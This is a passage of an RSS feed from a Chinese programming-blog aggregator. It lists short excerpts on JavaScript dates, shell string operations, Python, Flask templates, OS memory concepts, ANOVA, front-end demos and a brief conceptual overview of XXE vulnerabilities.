      <description> 毫秒值为：1492665265000 毫秒值对应的时间为：2017-4-20 13:14:25 要把这个毫秒值转换为日期，可以通过 var date = new Date(1492665265000); console.log(date); Thu Apr 20 2017 13:14:25 GMT+0800 (中国标准时间) 把日期格式化（根据本地时间格式）可以通过toLocaleString() var date = new Date(1492665265000).toLocaleString(); console.log(date); 2017-4-20 13:14:25 把日期格式化（根据世界时）可以通过toUTCString() var date = new Date(1492665265000).toUTCString(); console.log(date); Thu, 20 Apr 2017 05:14:25 GMT 获取当前日期毫秒值可以通过getTime(); var date = new Date().getTime(); console.log(date); 1569398286187 </description>
    </item>
    <item>
      <title>shell教程（4）变量（二）：字符串变量截取、替换和删除</title>
      <link>https://bchobby.github.io/posts/928ef803f6f73432a360c8763fc60972/</link>
      <pubDate>Wed, 25 Sep 2019 15:37:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/928ef803f6f73432a360c8763fc60972/</guid>
      <description>文章目录 获取变量字符串长度变量的截取指定位置截取字符串匹配字符串截取 变量的字符串替换删除字符串变量为空时赋默认值实战：统计文章单词情况参考 哭着也要更完 Shell编程目前已经写了3篇： shell教程(1)：有没有兴趣玩耍一下shell版俄罗斯方块？ shell教程(2)：积木游戏之认识积木–重要的系统命令 shell教程（3）变量（一）：a=1？没那么简单 同期也把这个项目放在github上： Shell-10-Lessons (https://github.com/neptuneyt/Shell-10-Lessons) 但无论是在公众号还是在GitHub阅读量都惨不忍睹，在GitHub甚至是0Watch、0Star、1Fork，小编已经哭晕在厕所。。。&#xA;好在唯一的那个Fork居然是小明同学的偶像天津医科大学的小伊老师，截图为证：&#xA;虽然不知道小伊老师是不是手抖误点了Fork键，但小编还是万分激动的，有大佬关注，小编就是哭着也要更完。&#xA;前面一讲提到了Shell变量存储数据的主要类型是字符串，例如net=&#34;www.baidu.com&#34;，其实Shell对字符串变量的操作是十分强大的，想象一下你是程序语言设计开发者，对于一个诸如&#34;www.baidu.com&#34;的变量net，你允许对它进行什么操作呢？是不是要能知道这个字符串的长度？是不是要能随意截取字符串？是不是要能随意替换、删除字符串？变量为空时能不能赋值一个默认的字符串数据？等等的操作，在Shell字符串的变量操作中都是可以实现的。&#xA;获取变量字符串长度 想要知道&#34;www.baidu.com&#34;的变量net的长度十分简单，通过${#net}即可获取。&#xA;[Neptuneyt]$ net=&#34;www.baidu.com&#34; [Neptuneyt]$ echo ${#net} 13 当然，在Shell中获取字符串变量的长度的方法有许多种，但是${#variable}作为一种系统内建的方法是最快的。&#xA;[Neptuneyt]$ echo ${#net} 13 [Neptuneyt]$ echo ${net}|wc -L 13 [Neptuneyt]$ expr length ${net} 13 [Neptuneyt]$ echo ${net}|awk &#39;{print length($0)}&#39; 13 获取字符串长度十分有用，文末给出一个统计文章单词词频数和字长频数的小脚本。&#xA;变量的截取 字符串的截取有多种方式，常见的包括：&#xA;指定位置截取字符串 [Neptuneyt]$ net=&#34;www.baidu.com&#34; [Neptuneyt]$ # 从第4个字符截取到baidu [Neptuneyt]$ echo ${net:4:5} #从第4个字符.开始截取5个字符 baidu [Neptuneyt]$ # 截取baidu.com [Neptuneyt]$ echo ${net:4} #起始位置后不接截取字符长度则默认截取之后所有的 baidu.com [Neptuneyt]$ # 用倒数截取com [Neptuneyt]$ echo ${net:0-3} #从倒数第三个字符截取到末尾 com [Neptuneyt]$ echo ${net: -3} #另外的写法，一定要注意冒号和-3之间有空格 com [Neptuneyt]$ echo ${net:-3} #不加空格，截取失败 www.</description>
    </item>
    <item>
      <title>Web前端开发规范之文件存储位置规范</title>
      <link>https://bchobby.github.io/posts/5d8e2747796f84325e20f3fe9b187b9e/</link>
      <pubDate>Tue, 24 Sep 2019 22:39:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d8e2747796f84325e20f3fe9b187b9e/</guid>
      <description>文件存放位置规范&#xA;1 文件夹说明&#xA;flash存放flash文件&#xA;p_w_picpaths存放图片文件&#xA;inc存放include文件&#xA;library存放DW库文件&#xA;media存放多媒体文件&#xA;script存放javascript脚本&#xA;css存放css文件&#xA;2 网站页面位置存放&#xA;2.1 客户端&#xA;web 网站根目录&#xA;2.2 服务器端 admin&#xA;原文地址;https://blog.51cto.com/lakaodekaola/1979706&#xA;转载于:https://www.cnblogs.com/JunhanLin/p/11581661.html</description>
    </item>
    <item>
      <title>XXE 漏洞基本的了解</title>
      <link>https://bchobby.github.io/posts/e6f276d0b748597893938d9de28f5654/</link>
      <pubDate>Tue, 24 Sep 2019 21:47:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6f276d0b748597893938d9de28f5654/</guid>
      <description>XXE 注入&#xA;在开始之前，先认识一下，最常见的XXE漏洞类型，这样有助于攻击并创造最终正确的 POC：&#xA;1.基础的 XXE 注入——外部实体注入本地 DTD。&#xA;2.基于盲注的 XXE 注入—— XML 解析器在响应中不显示任何错误。&#xA;3.基于错误的 XXE 注入——成功解析之后，XML 解析器始终显示 SAME 响应。即“你的消息已被接收”，因此，我们可能希望解析器将文件的内容 打印 到错误响应中。&#xA;XXE是一个非常强大的攻击，它允许我们操纵错误的XML解析器并利用它们。请注意，有更多的技术和攻击利用方式可以通过XXE注入完成。如前所述，每个解析器都有不同的能力，因此我们可以提出不同的漏洞；；&#xA;看了一张相关的文章所以知道了 XXE 漏洞攻击；&#xA;https://www.secpulse.com/archives/58915.html&#xA;还有一个下载的实验；https://appsec-labs.com/portal/wp-content/uploads/2016/09/XXE-demo-try-it-onyourself.rar&#xA;这个文章有一个原文链接：https://appsec-labs.com/portal/xxe-attacking-guide/&#xA;看了几个 XXE 漏洞很多文章都是在2016 2017 的；过后做一下这个 XXE 漏洞实验；&#xA;看了一个内网大杀器利用：CVE - 2019 - 1024 漏洞 链接如下：&#xA;https://msd.misuland.com/pd/3255817997595445898&#xA;学习一下 转载于:https://www.cnblogs.com/H-hy/p/11581357.html</description>
    </item>
    <item>
      <title>Sigmoid作为激活函数导致的梯度消失问题</title>
      <link>https://bchobby.github.io/posts/0dbceb4490a0d6faf5fc370cd6faf5d7/</link>
      <pubDate>Tue, 24 Sep 2019 16:58:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0dbceb4490a0d6faf5fc370cd6faf5d7/</guid>
      <description>首先，问题描述： 当很多个使用sigmoid的Layers 加到神经网络中时，损失函数的梯度会接近0，这会导致 network难以训练。因为我们使用梯度乘以学习率来更新权值参数的。&#xA;那么为什么呢？ 像sigmoid这样的激活函数，它把输入从一个大的空间压缩到一个只有0到1的范围内的很小的空间，作为下一层的输入。因此在输入层一个大的改变，通过sigmoid，最终到输出只有一个小的改变，也就是说导数变小了。&#xA;上图，蓝色实线是sigmoid函数形态，红色虚线是其导数的几何形态。我们可以看出，当输入值很大或很小时，也就是说当输入值向横轴的两端延伸时，导数接近于0&#xA;如果是只有几个sigmoid层的浅层神经网络,这并不会引起很大的问题。然而，当非常多的sigmoid层时，它会导致梯度太小而无法训练，这就是我们说的梯度消失。&#xA;神经网络的梯度通过反向传播来得到，简单的说，反向传播通过从最终层到初始层，误差逐层传播来得到梯度，通过链式求导法则，每一层的导数会乘到一起来计算初始层的导数。&#xA;然后，当n个隐层使用像sigmoid这样的激活函数时，会有n个非常小的导数值乘到一起，这样，随着我们逐层反向传播到初始层，梯度会呈指数级的下降。&#xA;显然极小的梯度值使得初始层的权值和偏置几乎无法有效的更新。而这些初始层，在识别输入数据的基础模式是至关重要的，它的不准确将导致整个神经网络的不准确。&#xA;解决方法 最简单的解决方法是使用另一种激活函数，比如 ReLU，它通常不会产生一个很小的导数&#xA;另外还有一个方法，是batch normalization&#xA;由前面的叙述，我们知道，梯度消失的产生，是因为sigmoid把输入从很大的空间映射到了一个很小的空间，尤其是当|X|很大的时候，它的导数都是接近0的。batch normalization 通过简单的标准化，来减轻该问题的产生，&#xA;我们可以看到，input标准化后，它会落在绿色的区域内，因此他的导数也不会太小。</description>
    </item>
    <item>
      <title>Python交换变量值的语法分析</title>
      <link>https://bchobby.github.io/posts/72e326b320e68981458da45ced482a34/</link>
      <pubDate>Tue, 24 Sep 2019 15:07:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72e326b320e68981458da45ced482a34/</guid>
      <description>Python交换变量值的语法分析 首先，我们要明确一点区别。在python中一个变量在内存中是如何存储的，其他语言又是如何存储的？&#xA;在其他语言中，例如C语言中，变量名是内存地址的别名，不单独占据内存空间。变量名只是一个便于记忆识别的名称，编译器会将他编译成相应的内存地址的。&#xA;而在python中当我们运行 a = 10 这句代码时，内存空间中开辟了两块区域，变量名占据一块区域，引用了常量值的内存地址。&#xA;也就是说，C语言中变量变的是内存空间中的值，不变的是地址；而在Python中，变量变的是地址，不变的是内存空间中的值。&#xA;来思考一下，假设在C语言中使用python交换变量的语法（编译器不会报出语法错误），会发生什么？&#xA;int a = 10, b = 20; a, b = b, a; 首先a的值直接被更改为b的值，当再为b赋值a的值时，此时a的值已经是b的值了，所以b值没变。&#xA;所有运行后，a = 20, b = 20&#xA;那么在python中运行代码时：&#xA;首先，在赋值时在内存中的对应关系看起来像这样：&#xA;a —&amp;gt; 10&#xA;b —&amp;gt; 20&#xA;在运行 a, b = b, a 时，会先将变量引用的值拿到&#xA;a, b = 20, 10&#xA;然后再分别将变量的引用指向对应的常量。&#xA;由于python改变的是引用，没改变值，所以它可以完成交换。</description>
    </item>
    <item>
      <title>Flask建站笔记-使用jinjia模板</title>
      <link>https://bchobby.github.io/posts/f46d100d85ee0f1e05178f44aed5f115/</link>
      <pubDate>Tue, 24 Sep 2019 15:06:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f46d100d85ee0f1e05178f44aed5f115/</guid>
      <description>jinjia语法类似于JavaWeb中的jsp。可以以特定语法规则直接在html中与后台产生交互，并实现一些简单的逻辑操作。&#xA;后台函数 @blog.route(&#34;/blog&#34;) def blog(): data = [...] return render_templates(&#34;index.html&#34;, data=data) 变量表示 {{ data[0] }} if判断 {% if data %} &amp;lt;p&amp;gt;{{ one }}&amp;lt;p&amp;gt; {% endif %} for循环 {% for one in data %} &amp;lt;p&amp;gt;{{ one }}&amp;lt;p&amp;gt; {% endfor %} block块 使用block块，我们可以定义一个模板html，实现页面风格的统一&#xA;base.html&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;{% block title %}Title{% endblock %}&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body style=&#34;background-color:#eeeeee&#34;&amp;gt; &amp;lt;!--页头--&amp;gt; &amp;lt;div id=&#34;divHead&#34; class=&#34;row&#34; style=&#34;background-color: #4d91a1&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!--内容块--&amp;gt; {% block content %} {% endblock %} &amp;lt;!</description>
    </item>
    <item>
      <title>操作系统与计算机组成原理</title>
      <link>https://bchobby.github.io/posts/b9cba11668687f8351ab12b5a42a597c/</link>
      <pubDate>Tue, 24 Sep 2019 10:31:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9cba11668687f8351ab12b5a42a597c/</guid>
      <description> 主存的结构 1）高位交叉编址&#xA;2）低位交叉编址与流水线方式并行存取&#xA;a.存取周期：cpu对内存两次读或写操作之间的时间间隔&#xA;总线周期：总线传输一次数据花费的时间&#xA;3）访存排队器&#xA;主存是与cpu，还是io，还是辅存交互，其顺序是受访存排队器控制的&#xA;a.由于易丢失代码，io的优先级最高&#xA;b.严重影响cpu工作的请求源，优先级次高，比如写可能优先于读&#xA;缓存的工作原理 1.cache的基本工作原理（命中率，访存效率，平均访问时间）&#xA;2.cache的读取和写入操作（读流程，写直达法，回写法，多缓存一致性问题）&#xA;3.cache与主存的地址映射（内存块大小与缓存块大小是一样的）&#xA;4.缓存块的替换策略&#xA;FIFO先进先出策略（命中率低）&#xA;LRU最久未使用策略（命中率高）&#xA;5.磁盘&#xA;定位到某一个数据块的时间=找到磁盘面+寻道+等待磁盘转动到指定位置&#xA;主存-磁盘体系 1.内存空间的分配与回收&#xA;2.内存空间的扩充&#xA;3.地址转换&#xA;4.内存保护-内存是重定位寄存器和界地址寄存器保证进程不相互影响的&#xA;1）cpu使用逻辑地址&#xA;2）判断逻辑地址是否小于界地址寄存器&#xA;3）若没有越界，则加上重定位寄存器（基地址寄存器），得到物理地址&#xA;4）cpu在切换到执行某一进程时，会初始化重定位寄存器和界址寄存器&#xA;1.分页存储管理&#xA;1）把内存和磁盘块都划分为等大小块，每一个小块就是“页”，磁盘块块叫&#34;页面&#34;，内存块称为“页框”。在内存中要为每一个进程维护一张“页号-磁盘物理地址”映射关系表，称之为“页表”&#xA;2）a.虚拟地址为A，页大小为L，则页号为A/L，页内偏移为A mod L&#xA;b.页号P的页表项地址 = 页表项首地址+P x 页表项长度&#xA;c.物理地址 = 磁盘号 x 块大小 + 磁盘内偏移量&#xA;3）多级页表与B树的关系&#xA;4）分页存储管理是为了提高内存利用率，是内存与磁盘之间的协作&#xA;2.分段存储管理&#xA;1）段表：解决的是应用程序逻辑地址与内存中逻辑地址的映射关系&#xA;2）取出逻辑地址中的段号，从段表中获取始地址，与偏移量相加，即获得主存中的逻辑地址&#xA;3）段式存储能清晰的反映程序的逻辑结构&#xA;3.段页式存储管理&#xA;为了既能反应程序的逻辑结构，又能提高内存利用率，故而采用段页式存储&#xA;1）将程序分为若干段，故逻辑地址需要有“段号”&#xA;2）每一段分为若干页，所以段式存储中地址格式的“段长” 变为 “页长”，表示该段有几页&#xA;3）页始址 替代 段始址&#xA;文件系统 </description>
    </item>
    <item>
      <title>OriginPro中三维图片旋转</title>
      <link>https://bchobby.github.io/posts/da6f211dd0a75670297f126e37210022/</link>
      <pubDate>Tue, 24 Sep 2019 10:17:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da6f211dd0a75670297f126e37210022/</guid>
      <description>在Tecplot中我们可以点击如下按钮，实现三维视图的旋转，&#xA;那如果我们在OriginPro中怎么实现呢？&#xA;看到没有，看到的老铁双击一波666</description>
    </item>
    <item>
      <title>Html大段文本自适应换行显示-SSM</title>
      <link>https://bchobby.github.io/posts/9f338ad74478af6a423e0abdd7d6b9fb/</link>
      <pubDate>Mon, 23 Sep 2019 14:31:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f338ad74478af6a423e0abdd7d6b9fb/</guid>
      <description>只处理前端：&#xA;&amp;lt;style&amp;gt; .ctl{ table-layout:fixed } .ctl td{ word-break:break-all } &amp;lt;/style&amp;gt; &amp;lt;div&amp;gt; &amp;lt;table cellSpacing=&#34;0&#34; cellpadding=&#34;1&#34; width=&#34;100%&#34; class=&#34;ctl&#34; border=1&amp;gt; &amp;lt;tBody&amp;gt; &amp;lt;tr&amp;gt;&amp;lt;td th:text=&#34;${seq}&#34;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt; &amp;lt;/tBody&amp;gt; &amp;lt;/table&amp;gt; &amp;lt;/div&amp;gt; 这样行数会自动调整，文本不会溢出表格。&#xA;bug：字符串中的\r\n会变为空格，虽然在控制台可以看到换行符确实存在，但浏览器渲染时会变成空格。&#xA;暂时没有处理这个问题，先留坑。&#xA;==========================================================&#xA;我是Ruriko，我爱这个世界：）&#xA;转载于:https://www.cnblogs.com/pxy7896/p/11572196.html</description>
    </item>
    <item>
      <title>Could not find &#39;adb.exe&#39; in PATH. Please set the ANDROID_HOME environment variable with the Android</title>
      <link>https://bchobby.github.io/posts/ec92fe9387f741d1497b4017d61e6845/</link>
      <pubDate>Mon, 23 Sep 2019 11:37:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec92fe9387f741d1497b4017d61e6845/</guid>
      <description>Could not find ‘adb.exe’ in PATH. Please set the ANDROID_HOME environment variable with the Android SDK root directory path&#xA;原因推测：java jdk 没有安装?&#xA;jre安装成功标志：java -version&#xA;jdk安装成功标志：javac -version&#xA;https://www.cnblogs.com/shirley-0021/p/8510051.html&#xA;win10 ， JAVA安装 环境搭建&#xA;一.关于下载地址及方式:&#xA;1.百度搜索JDK，进入下载官网，具体网址如下：&#xA;click me!!!&#xA;2.根据你电脑的不同系统选择对应的下载，当然首先你要点击Accept License Agreement 同意此进行！&#xA;3.下载完成后，点击安装&#xA;二.关于安装过程：&#xA;1.选择安装路径时，注意该路径不能包含中文名&#xA;这里我们可以通过“更改”选择自己想要安装到的目录，然后点击下一步即可。&#xA;到这里我们只安装了jdk，安装向导会检查到你未安装jre，然后提示你安装jre，建议最好装上。&#xA;2.安装JRE&#xA;选择一个你喜欢的文件夹，注意这个文件夹不要是jdk安装目录，否则会覆盖掉jdk目录下的jre目录&#xA;我们这里选择安装到和JDK同级的目录下，点击下一步之后即可完成安装，然后提示已成功安装&#xA;3.若想验证你是否已安装正确，按window+R或者点击运行输入cmd，打开命令行窗口，在界面中输入java -version，若出现以下文字即表明下载正确&#xA;三.关于环境配置&#xA;1.我的电脑→右键→属性→高级系统设置→环境变量&#xA;新建一个变量名为“JAVA_HOME”的系统变量，变量值为“C:\Program Files\Java\jdk1.8.0_161”（jdk的安装目录，根据个人所安装的目录修改） 2.再新建一个变量名为“CLASSPATH”，变量值为“.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;”的系统变量，注意前面的点号和分号都是有的&#xA;3.打开“Path”系统变量，点击新建，添加“%JAVA_HOME%\bin”和“%JAVA_HOME%\jre\bin”两个系统变量。Path使得系统可以在任何路径下识别java命令&#xA;四.验证：&#xA;点击保存后，按window+R或者点击运行输入cmd，打开命令行窗口&#xA;分别输入java和javac都正常运行即代表java已经正确安装。&#xA;如果出现类似&#34;javac不是内部或外部命令&#34;等提示语句，请再三检查你的环境变量是否正确配置，或者JDK和JRE安装目录是否重复，如果重复，可以选择再次运行下载的jdk安装程序重新安装。&#xA;Just do what you want!</description>
    </item>
    <item>
      <title>前端demo（2）_旋转木马</title>
      <link>https://bchobby.github.io/posts/fa81cec681b26d812eb2b79172ff04dc/</link>
      <pubDate>Mon, 23 Sep 2019 11:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa81cec681b26d812eb2b79172ff04dc/</guid>
      <description>&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head lang=&#34;en&#34;&amp;gt;&#xA;&amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt;&#xA;&amp;lt;title&amp;gt;3D旋转&amp;lt;/title&amp;gt;&#xA;&amp;lt;style type=&#34;text/css&#34;&amp;gt;&#xA;*{padding: 0;&#xA;margin: 0;}&#xA;body,html{height:100%;}&#xA;body{background-image: url(&#34;images/8.jpg&#34;);background-size: 100% 100%;}&#xA;#box{width: 280px;&#xA;height: 400px;&#xA;position: fixed;&#xA;left: 0;&#xA;right: 0;&#xA;top:0;&#xA;bottom: 0;&#xA;margin: auto;&#xA;transform-style: preserve-3d;&#xA;transform: rotateX(0deg) rotateY(0deg);&#xA;animation: go 45s linear infinite;&#xA;}&#xA;#box img{width: 280px;&#xA;height: 400px;&#xA;position: absolute;&#xA;left: 0;&#xA;top: 0;&#xA;}&#xA;#box img:nth-child(1){&#xA;transform: rotateY(0deg) translateZ(650px);}&#xA;#box img:nth-child(2){&#xA;transform: rotateY(36deg) translateZ(650px);}&#xA;#box img:nth-child(3){</description>
    </item>
    <item>
      <title>前端dome（1）_钟表</title>
      <link>https://bchobby.github.io/posts/29581f19b715b5f4cde664b139e3280d/</link>
      <pubDate>Mon, 23 Sep 2019 11:01:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29581f19b715b5f4cde664b139e3280d/</guid>
      <description>&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta charset=&#34;utf-8&#34;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;canvas id=&#34;canvas&#34; width=&#34;500&#34; height=&#34;500&#34; &amp;gt;&#xA;您的浏览器不支持canvas标签，无法看到时钟&#xA;&amp;lt;/canvas&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;var canvas=document.getElementById(&#34;canvas&#34;);&#xA;var cxt=canvas.getContext(&#34;2d&#34;);&#xA;function drawClock(){&#xA;cxt.clearRect(0,0,500,500);&#xA;var now=new Date();&#xA;var sec=now.getSeconds();&#xA;var min=now.getMinutes();&#xA;var hour=now.getHours();&#xA;hour=hour+min/60;&#xA;hour=hour&amp;gt;12?hour-12:hour;&#xA;cxt.beginPath();&#xA;cxt.lineWidth=5;&#xA;cxt.strokeStyle=&#34;beige&#34;;&#xA;cxt.arc(250,250,200,0,2*Math.PI,false);&#xA;cxt.stroke();&#xA;cxt.closePath();&#xA;for(var i=0;i&amp;lt;12;i++){&#xA;cxt.beginPath();&#xA;cxt.save();&#xA;cxt.strokeStyle=&#34;purple&#34;;&#xA;cxt.lineWidth=5;&#xA;cxt.translate(250,250);&#xA;cxt.rotate(i*30*Math.PI/180);&#xA;cxt.moveTo(0,-170);&#xA;cxt.lineTo(0,-190);&#xA;cxt.stroke(); cxt.restore();&#xA;cxt.closePath();&#xA;}&#xA;/* 表盘 */&#xA;for(var i=0;i&amp;lt;60;i++){&#xA;cxt.beginPath();&#xA;cxt.save();&#xA;cxt.strokeStyle=&#34;gold&#34;;&#xA;cxt.lineWidth=3;&#xA;cxt.translate(250,250);&#xA;cxt.rotate(i*6*Math.PI/180);&#xA;cxt.moveTo(0,-180);&#xA;cxt.lineTo(0,-190);&#xA;cxt.stroke(); cxt.restore();</description>
    </item>
    <item>
      <title>C#中设置状态栏(statusStrip)的布局</title>
      <link>https://bchobby.github.io/posts/9e6dd33e0c8fa9a00035ec7910a6f00c/</link>
      <pubDate>Mon, 23 Sep 2019 10:06:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e6dd33e0c8fa9a00035ec7910a6f00c/</guid>
      <description>解决方案：&#xA;状态栏所有项目(StatusLabel、ProgressBar、DropDownButton等)前添加一个空白的StatusLabel (Text属性为空)，并将其Spring属性设为True。&#xA;Spring属性的作用是设置该项是否填满剩余空间，设为True以后，当程序运行时后面的项就都挤到右边，实现靠右对齐了。&#xA;如果更进一步，需要一部分项靠左，一部分靠右，那就在两部分中间插入空白StatusLabel，同时设其Spring属性为True。</description>
    </item>
    <item>
      <title>Python函数</title>
      <link>https://bchobby.github.io/posts/18fb8ca65871befc8539fd9379b1fc91/</link>
      <pubDate>Sun, 22 Sep 2019 11:32:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18fb8ca65871befc8539fd9379b1fc91/</guid>
      <description>博文大纲：&#xA;一、函数二、变量的作用域三、内建函数 一、函数 Python中的函数都是语句和表达式的集合。和shell脚本中的函数功能一致，可以把函数当做是给一堆代码起定义了一个别名，当需要执行这堆代码时，直接调用那一堆代码集合的“别名”即可。&#xA;对于脚本中需要重复使用的代码，需要编写为自定义函数以便于重复使用。&#xA;1、无参函数 定义无参函数的语法格式如下：&#xA;def 函数名称(): 代码块 return [表达式] 定义无参函数是以关键字def，后面跟函数名和小括号，以冒号开头并缩进，最后使用return退出函数，有表达式则传递返回值，没有则返回None。函数是以字母、数字和下划线组成的字符串，但是不能以数字开头。使用函数必须先定义再调用，否则程序会出现错误。&#xA;无参函数举例：&#xA;示例一： #代码如下： def add(): #定义函数 op1 = 10 op2 = 20 rt = op1 + op2 print op1, &#39;+&#39;, op2 ,&#39;=&#39;,rt return add() #调用函数 #执行结果如下： 10 + 20 = 30 也可以将上面的代码进行修改，使用return语句返回结果值。&#xA;#代码如下： def add(): op1 = 10 op2 = 20 rt = op1 + op2 return rt i = add() #函数返回的结果赋值给变量i print &#39;结果是：&#39;,i #执行结果如下： 结果是： 30 在上面的代码中，函数add（）使用return语句返回相加的结果值，变量i接收函数add（）返回的值。Python在处理返回值时，如果没有return语句，会默认返回None，程序并不会报错。</description>
    </item>
    <item>
      <title>统计学基础之方差分析</title>
      <link>https://bchobby.github.io/posts/8d6395ba9952c34d8f34b304c93e4435/</link>
      <pubDate>Sat, 21 Sep 2019 21:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d6395ba9952c34d8f34b304c93e4435/</guid>
      <description>目录：（摘自百度百科）&#xA;一、基本概念&#xA;二、类型：&#xA;1、单因素方差分析&#xA;2、双因素方差分析&#xA;3、协方差分析&#xA;一、基本概念&#xA;方差分析又称“变异数分析”或“F检验”，用于两个及两个以上样本均数差别的显著性检验。&#xA;方差分析的基本原理是认为不同处理组的均数间的差别基本来源有两个： (1) 实验条件，即不同的处理造成的差异，称为组间差异。用变量在各组的均值与总均值之偏差平方和的总和表示，记作SSb，组间自由度dfb。 (2) 随机误差，如测量误差造成的差异或个体间的差异，称为组内差异，用变量在各组的均值与该组内变量值之偏差平方和的总和表示， 记作SSw，组内自由度dfw。 总偏差平方和 SSt = SSb + SSw。 组内SSw、组间SSb除以各自的自由度(组内dfw =n-m，组间dfb=m-1，其中n为样本总数，m为组数)，得到其均方MSw和MSb，一种情况是处理没有作用，即各组样本均来自同一总体，MSb/MSw≈1。另一种情况是处理确实有作用，组间均方是由于误差与不同处理共同导致的结果，即各样本来自不同总体。那么，MSb&amp;gt;&amp;gt;MSw(远远大于)。 MSb/MSw比值构成F分布。用F值与其临界值比较，推断各样本是否来自相同的总体。 二、类型：&#xA;1、单因素方差分析&#xA;是用来研究一个控制变量的不同水平是否对观测变量产生了显著影响。研究单个因素对观测变量的影响，因此称为单因素方差分析。 例如，分析不同施肥量是否给农作物产量带来显著影响，考察地区差异是否影响妇女的生育率，研究学历对工资收入的影响等。这些问题都可以通过单因素方差分析得到答案。 单因素方差分析的第一步是明确观测变量和控制变量。例如，上述问题中的观测变量分别是农作物产量、妇女生育率、工资收入；控制变量分别为施肥量、地区、学历。 单因素方差分析的第二步是剖析观测变量的方差。方差分析认为：观测变量值的变动会受控制变量和随机变量两方面的影响。据此，单因素方差分析将观测变量总的离差平方和分解为组间离差平方和和组内离差平方和两部分，用数学形式表述为：SST=SSA+SSE。 单因素方差分析的第三步是通过比较观测变量总离差平方和各部分所占的比例，推断控制变量是否给观测变量带来了显著影响。 原理： 在观测变量总离差平方和中，如果组间离差平方和所占比例较大，则说明观测变量的变动主要是由控制变量引起的，可以主要由控制变量来解释，控制变量给观测变量带来了显著影响；反之，如果组间离差平方和所占比例小，则说明观测变量的变动不是主要由控制变量引起的，不可以主要由控制变量来解释，控制变量的不同水平没有给观测变量带来显著影响，观测变量值的变动是由随机变量因素引起的。 基本分析步骤： 1、提出原假设：H0——无差异；H1——有显著差异 2、选择检验统计量：方差分析采用的检验统计量是F统计量，即F值检验。 3、计算检验统计量的观测值和概率P值：该步骤的目的就是计算检验统计量的观测值和相应的概率P值。 4、给定显著性水平，并作出决策 2、双因素方差分析&#xA;多因素方差分析用来研究两个及两个以上控制变量是否对观测变量产生显著影响。研究多个因素对观测变量的影响，因此称为多因素方差分析。多因素方差分析不仅能够分析多个因素对观测变量的独立影响，更能够分析多个控制因素的交互作用能否对观测变量的分布产生显著影响，进而最终找到利于观测变量的最优组合。&#xA;例如：分析不同品种、不同施肥量对农作物产量的影响时，可将农作物产量作为观测变量，品种和施肥量作为控制变量。利用多因素方差分析方法，研究不同品种、不同施肥量是如何影响农作物产量的，并进一步研究哪种品种与哪种水平的施肥量是提高农作物产量的最优组合。 进一步分析： 1、建立非饱和模型 2、均值比较分析 3、控制变量交互作用的图形分析 3、协方差分析&#xA;协方差分析将那些人为很难控制的控制因素作为协变量，并在排除协变量对观测变量影响的条件下，分析控制变量（可控）对观测变量的作用，从而更加准确地对控制因素进行评价。 协方差分析仍然沿承方差分析的基本思想，并在分析观测变量变差时，考虑了协变量的影响，人为观测变量的变动受四个方面的影响：即控制变量的独立作用、控制变量的交互作用、协变量的作用和随机因素的作用，并在扣除协变量的影响后，再分析控制变量的影响。 方差分析中的原假设是：协变量对观测变量的线性影响是不显著的；在协变量影响扣除的条件下，控制变量各水平下观测变量的总体均值无显著差异，控制变量各水平对观测变量的效应同时为零。检验统计量仍采用F统计量，它们是各均方与随机因素引起的均方比 转载于:https://www.cnblogs.com/zym-yc/p/11564739.html</description>
    </item>
    <item>
      <title>python TKinter的主窗口运行程序完毕后，怎么让其自动关闭</title>
      <link>https://bchobby.github.io/posts/d162670c34acb9ec5a23b60a826649fd/</link>
      <pubDate>Sat, 21 Sep 2019 20:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d162670c34acb9ec5a23b60a826649fd/</guid>
      <description>如题：&#xA;在pycharm 调试Tkinter程序的时候，关闭右上角的X 实际上并未退出进程，长期以往 再大的内存也会被耗尽。&#xA;一般就是下面的代码：&#xA;&#34;&#34;&#34; from tkinter import * def main(): root = Tk() b = Button(root, text=&#39;退出&#39;, command=root.quit) b.pack() mainloop() if __name__ == &#39;__main__&#39;: main() 实际上一句代码就可以搞定：&#xA;win.protocol(&#34;WM_DELETE_WINDOW&#34;, lambda: sys.exit(0));&#xA;win.protocol(&#34;WM_DELETE_WINDOW&#34;, lambda: sys.exit(0)); 转载于:https://www.cnblogs.com/dgwblog/p/11564605.html</description>
    </item>
    <item>
      <title>node.js搭建本地服务器的两种方式（anywhere和http-server）</title>
      <link>https://bchobby.github.io/posts/5ee5bceb92406bbfeb59ef79633a7c96/</link>
      <pubDate>Sat, 21 Sep 2019 19:22:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ee5bceb92406bbfeb59ef79633a7c96/</guid>
